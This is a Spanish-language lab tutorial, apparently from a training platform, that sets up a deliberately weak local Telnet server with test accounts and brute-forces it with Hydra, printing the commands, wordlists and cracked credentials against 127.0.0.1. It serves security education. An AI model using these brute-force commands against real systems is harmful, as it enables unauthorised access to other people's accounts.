Atacar servicios Telnet con Hydra

Introducción

En este laboratorio, aprenderá cómo realizar ataques de fuerza bruta contra servicios Telnet utilizando Hydra, una herramienta versátil para descifrar contraseñas. Configurará un entorno Telnet vulnerable y utilizará Hydra para demostrar cómo las credenciales débiles pueden ser explotadas.

El laboratorio cubre la configuración del servidor Telnet, la creación de credenciales de prueba y la ejecución de ataques Hydra para resaltar los riesgos de seguridad. A través de la práctica, comprenderá por qué Telnet es inseguro y aprenderá la importancia de utilizar alternativas cifradas.

Instalar un servidor Telnet local

En este paso, instalará un servidor Telnet en su VM de LabEx para crear un entorno de pruebas local. Telnet es uno de los protocolos de red más antiguos, que permite el acceso remoto a los sistemas. Sin embargo, transmite todos los datos (incluidas las contraseñas) en texto plano sin cifrado, lo que lo hace altamente inseguro para el uso en el mundo real, pero perfecto para aprender conceptos de pruebas de seguridad.

1. Primero, actualice su lista de paquetes para asegurarse de obtener las últimas versiones. Esta es una buena práctica antes de instalar cualquier software nuevo:

sudo apt update

2. Instale el paquete del servidor Telnet (xinetd). Xinetd es un super-servidor que gestiona las conexiones Telnet. El flag -y confirma automáticamente cualquier solicitud durante la instalación:

sudo apt install -y xinetd telnetd

3. Cree el archivo de configuración de Telnet en /etc/xinetd.d/telnet. Usaremos nano, un editor de texto simple que viene con la mayoría de los sistemas Linux:

sudo nano /etc/xinetd.d/telnet

4. Agregue la siguiente configuración (presione Ctrl+O para guardar, luego Ctrl+X para salir). Esta configuración habilita el servicio Telnet y establece parámetros básicos. La línea disable = no es particularmente importante ya que activa el servicio:

service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}

5. Reinicie el servicio xinetd para aplicar los cambios. Los servicios a menudo necesitan ser reiniciados después de las modificaciones de configuración:

sudo service xinetd restart

6. Verifique que el servicio Telnet se esté ejecutando. El puerto 23 es el puerto predeterminado para Telnet. El comando netstat muestra las conexiones de red activas y los puertos de escucha:

sudo netstat -tulnp

Debería ver una salida similar a esta, que indica que el servicio Telnet está escuchando en el puerto 23:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      22/sshd: /usr/sbin/
tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:3002            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.11:38203        0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      22/sshd: /usr/sbin/
tcp6       0      0 :::23                   :::*                    LISTEN      1620/xinetd
udp        0      0 0.0.0.0:3001            0.0.0.0:*                           -
udp        0      0 127.0.0.11:54421        0.0.0.0:*                           -

Configurar Telnet con cuentas de prueba

En este paso, creará cuentas de prueba que se utilizarán para la demostración del ataque de fuerza bruta de Hydra. Estas cuentas representan credenciales débiles comunes que se encuentran en sistemas reales, lo que nos permite demostrar de forma segura cómo los atacantes explotan las malas prácticas de contraseñas.

1. Primero, cree tres cuentas de usuario de prueba utilizando el comando useradd. El flag -m asegura que se creen directorios de inicio para cada usuario:

sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3

2. Ahora establezca contraseñas simples para estas cuentas. Estamos utilizando contraseñas débiles comunes ('password', '123456', 'qwerty') para simular vulnerabilidades del mundo real. El comando chpasswd cambia de forma segura las contraseñas sin indicaciones interactivas:

echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd

3. Verifique que las cuentas se crearon correctamente comprobando el archivo de contraseñas del sistema. El comando grep filtra nuestros usuarios de prueba en /etc/passwd, que almacena toda la información de la cuenta de usuario:

grep -E 'user1|user2|user3' /etc/passwd

Debería ver una salida similar a:

user1:x:5001:5001::/home/user1:/bin/sh
user2:x:5002:5003::/home/user2:/bin/sh
user3:x:5003:5004::/home/user3:/bin/sh

4. Cree archivos de credenciales para el ataque Hydra en su directorio de proyecto. Estos archivos de texto servirán como entrada de Hydra para combinaciones de nombre de usuario y contraseña durante el intento de fuerza bruta:

cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt

5. Verifique que los archivos de credenciales contengan la información correcta. El comando cat muestra el contenido del archivo; estamos verificando ambos archivos para garantizar el formato adecuado para los requisitos de Hydra:

cat usernames.txt && cat passwords.txt

Debería ver:

user1
user2
user3
password
123456
qwerty

Cargar archivos de nombre de usuario y contraseña

En este paso, preparará los archivos de credenciales que Hydra utilizará para el ataque de fuerza bruta. Estos archivos contienen los nombres de usuario y las contraseñas que creamos en el paso anterior. Los ataques de fuerza bruta funcionan intentando sistemáticamente todas las combinaciones posibles de credenciales hasta que se encuentra la correcta. Tener archivos de credenciales bien organizados hace que este proceso sea más eficiente.

1. Primero, verifique que los archivos de credenciales existan en su directorio de proyecto. Esto es importante porque Hydra necesita estos archivos para realizar el ataque:

cd ~/project
ls -l usernames.txt passwords.txt

Debería ver una salida similar a:

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt

2. Vea el contenido de ambos archivos para confirmar que estén formateados correctamente. Cada nombre de usuario y contraseña debe estar en una línea separada, ya que Hydra los lee línea por línea:

echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

Salida esperada:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty

3. Cree un archivo de credenciales combinado para fines de prueba. Este archivo combinado muestra pares de nombre de usuario y contraseña uno al lado del otro, lo que ayuda a verificar que estén emparejados correctamente:

paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

Esto mostrará:

user1   password
user2   123456
user3   qwerty

4. Instale Hydra si aún no está presente (aunque debería estar preinstalado en la VM de LabEx). Hydra es la herramienta que usaremos para realizar el ataque de fuerza bruta contra el servicio Telnet:

sudo apt install -y hydra hydra-gtk

5. Verifique que Hydra esté instalado y compruebe su versión. Comprender la versión ayuda al solucionar problemas o buscar características específicas:

hydra -h | head -n

Ejecutar ataque Hydra en el servicio Telnet

En este paso, utilizará Hydra para realizar un ataque de fuerza bruta contra su servidor Telnet local utilizando los archivos de credenciales preparados anteriormente. Hydra es una herramienta popular para descifrar contraseñas que admite múltiples protocolos, incluido Telnet. El ataque intentará sistemáticamente todas las combinaciones de nombre de usuario/contraseña de sus archivos.

1. Primero, asegúrese de estar en el directorio del proyecto donde están almacenados sus archivos de credenciales. Esto es importante porque Hydra necesita acceder a estos archivos:

cd ~/project

2. Ahora ejecute Hydra contra el servicio Telnet local (127.0.0.1 es la dirección de bucle invertido que apunta a su propia máquina). El flag -L especifica la lista de nombres de usuario y -P especifica la lista de contraseñas:

hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1

3. A medida que se ejecuta Hydra, mostrará el progreso en tiempo real. Cada línea muestra una combinación intentada. Cuando tenga éxito, mostrará las credenciales válidas como esta:

[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 3 valid passwords found

4. Para guardar sus resultados para documentación o análisis posterior, use el flag -o seguido de un nombre de archivo de salida:

hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt

5. Una vez que se complete el ataque, puede ver el archivo de resultados para ver qué credenciales funcionaron:

cat hydra_results.txt

Salida de muestra que muestra un intento de inicio de sesión exitoso:

[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password

6. Con fines educativos, es posible que desee ver cada intento en detalle. Los flags -vV habilitan el modo verbose (detallado), mostrando cada combinación que intenta Hydra:

hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

La salida detallada se verá así, mostrando tanto los intentos fallidos como los exitosos:

[VERBOSE] Attempting user1:password... [SUCCESS]

Verificar la salida del ataque Telnet

En este paso, analizará los resultados de su ataque de fuerza bruta de Hydra contra el servicio Telnet para comprender qué credenciales se vieron comprometidas. Hydra prueba múltiples combinaciones de nombre de usuario/contraseña contra el servicio, y el archivo de salida contiene todos los inicios de sesión exitosos junto con los intentos fallidos.

1. Primero, navegue a su directorio de proyecto donde Hydra guardó sus resultados y vea el archivo de salida completo:

cd ~/project
cat hydra_results.txt

La salida de muestra muestra el formato de los inicios de sesión exitosos. Cada línea contiene el protocolo (telnet), la dirección IP de destino y las credenciales descifradas:

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456

2. Para filtrar solo los intentos de inicio de sesión exitosos de archivos de salida potencialmente grandes, use grep para encontrar líneas que contengan "login:":

grep "login:" hydra_results.txt

3. Verifique las cuentas comprometidas intentando el inicio de sesión manual de Telnet con las credenciales descubiertas. Esto confirma los hallazgos de Hydra y demuestra cómo un atacante usaría las credenciales robadas:

telnet 127.0.0.1

En el prompt de inicio de sesión, ingrese:

user1
password

Un inicio de sesión exitoso mostrará el mensaje de bienvenida del servidor y el prompt de comandos:

Welcome to LabEx Telnet Server
user1@localhost:~$

Escriba exit para salir de la sesión de Telnet cuando termine de probar.

4. Cree un informe de resumen profesional de las cuentas comprometidas para la documentación. Esto crea un nuevo archivo con resultados formateados y un recuento:

echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt

Resumen

En este laboratorio, ha aprendido cómo configurar un entorno de servidor Telnet vulnerable utilizando xinetd y credenciales débiles con fines de pruebas de seguridad. El proceso incluyó la configuración del servicio Telnet en el puerto 23 y la creación de cuentas de prueba con contraseñas intencionalmente débiles para demostrar las vulnerabilidades de autenticación.

El ejercicio destacó los riesgos de seguridad de usar protocolos no encriptados como Telnet y la importancia crítica de implementar políticas de contraseñas sólidas. A través de la demostración práctica con Hydra, observó con qué facilidad los ataques de fuerza bruta pueden comprometer sistemas con mecanismos de autenticación débiles.